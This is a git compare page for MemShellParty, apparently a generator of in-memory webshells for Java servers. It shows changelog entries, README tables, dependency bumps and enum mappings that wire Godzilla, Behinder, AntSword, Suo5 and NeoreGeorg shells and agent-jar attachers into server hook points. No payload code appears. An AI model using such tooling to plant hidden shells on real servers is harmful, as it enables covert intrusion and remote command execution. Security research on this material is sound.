mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 |
+28
-1
@@ -5,6 +5,33 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||||
|
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader() 为请求线程
|
||||||
|
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||||
|
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
||||||
|
- 修复 Jakarta WebSocket 无法注入
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
||||||
|
- Gradle、Web 项目依赖更新
|
||||||
|
- UI 生成界面默认勾选缩小字节码
|
||||||
|
- UI 优化手机端选项布局,单行显示每个输入框
|
||||||
|
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
||||||
|
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
||||||
|
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
||||||
|
- 重构 Shell Generator 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
||||||
|
|
||||||
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
@@ -25,7 +52,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||||
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||||
|
|
||||||
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
||||||
|
|
||||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
|
|||||||
@@ -213,13 +213,21 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
||||||
|----------------------|----------------------|------------------------|---------------|----------------------|
|
|----------------------|----------------------|------------------------|
|
||||||
| Filter | Filter | Filter | Servlet | Filter |
|
| Filter | Filter | Filter |
|
||||||
| Listener | Listener | Listener | Filter | Listener |
|
| Listener | Listener | Listener |
|
||||||
| Valve | Valve | Valve | Listener | Valve |
|
| Valve | Valve | Valve |
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
### 内存马功能
|
### 内存马功能
|
||||||
|
|
||||||
@@ -259,10 +267,13 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
1. 使用 Git Clone 项目
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/web
|
cd MemShellParty/web
|
||||||
|
|
||||||
@@ -270,7 +281,9 @@ bun install
|
|||||||
|
|
||||||
bun run build
|
bun run build
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/boot
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -1,7 +1,7 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
id 'org.springframework.boot' version '3.4.0'
|
id 'org.springframework.boot' version '3.4.6'
|
||||||
id 'io.spring.dependency-management' version '1.1.6'
|
id 'io.spring.dependency-management' version '1.1.7'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
@@ -48,7 +48,7 @@ dependencies {
|
|||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
}
|
}
|
||||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
compileOnly 'org.projectlombok:lombok'
|
compileOnly 'org.projectlombok:lombok'
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
@@ -61,8 +62,11 @@ public class ConfigController {
|
|||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping("/command/encryptors")
|
@GetMapping("/command/configs")
|
||||||
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
public CommandConfigVO getCommandConfigs() {
|
||||||
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||||
|
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||||
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
|
return commandConfigVO;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,6 +29,7 @@ public class GenerateRequest {
|
|||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
private String encryptor;
|
private String encryptor;
|
||||||
|
private String implementationClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -50,6 +51,7 @@ public class GenerateRequest {
|
|||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class CommandConfigVO {
|
||||||
|
private List<CommandConfig.Encryptor> encryptors;
|
||||||
|
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||||
|
}
|
||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
import com.vanniktech.maven.publish.SonatypeHost
|
||||||
|
|
||||||
version = '1.8.0'
|
version = '1.9.0'
|
||||||
|
|
||||||
buildscript {
|
buildscript {
|
||||||
repositories {
|
repositories {
|
||||||
|
|||||||
+15
-7
@@ -211,13 +211,21 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
||||||
|----------------------|----------------------|------------------------|---------------|----------------------|
|
|----------------------|----------------------|------------------------|
|
||||||
| Filter | Filter | Filter | Servlet | Filter |
|
| Filter | Filter | Filter |
|
||||||
| Listener | Listener | Listener | Filter | Listener |
|
| Listener | Listener | Listener |
|
||||||
| Valve | Valve | Valve | Listener | Valve |
|
| Valve | Valve | Valve |
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
### MemShell Functionality
|
### MemShell Functionality
|
||||||
|
|
||||||
|
|||||||
@@ -18,7 +18,7 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>generator</artifactId>
|
<artifactId>generator</artifactId>
|
||||||
<version>1.0.4</version>
|
<version>1.8.0</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
|
|||||||
@@ -39,6 +39,9 @@ dependencies {
|
|||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
|
|
||||||
|
implementation 'net.java.dev.jna:jna'
|
||||||
|
implementation 'net.java.dev.jna:jna-platform'
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
|
|
||||||
|
|||||||
@@ -19,6 +19,8 @@ import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
|||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||||
@@ -121,6 +123,8 @@ public enum Packers {
|
|||||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
AgentJar(new AgentJarPacker()),
|
||||||
|
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||||
|
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
|
|||||||
@@ -2,27 +2,11 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||||
@@ -34,15 +18,12 @@ import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||||
@@ -120,6 +101,7 @@ public enum Server {
|
|||||||
*/
|
*/
|
||||||
TongWeb6(new TongWeb6Shell()),
|
TongWeb6(new TongWeb6Shell()),
|
||||||
TongWeb7(new TongWeb7Shell()),
|
TongWeb7(new TongWeb7Shell()),
|
||||||
|
TongWeb8(new TongWeb8Shell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 金蝶天燕中间件
|
* 金蝶天燕中间件
|
||||||
@@ -163,17 +145,17 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -189,13 +171,13 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -205,13 +187,13 @@ public enum Server {
|
|||||||
.addShellClass(VALVE, AntSwordValve.class)
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
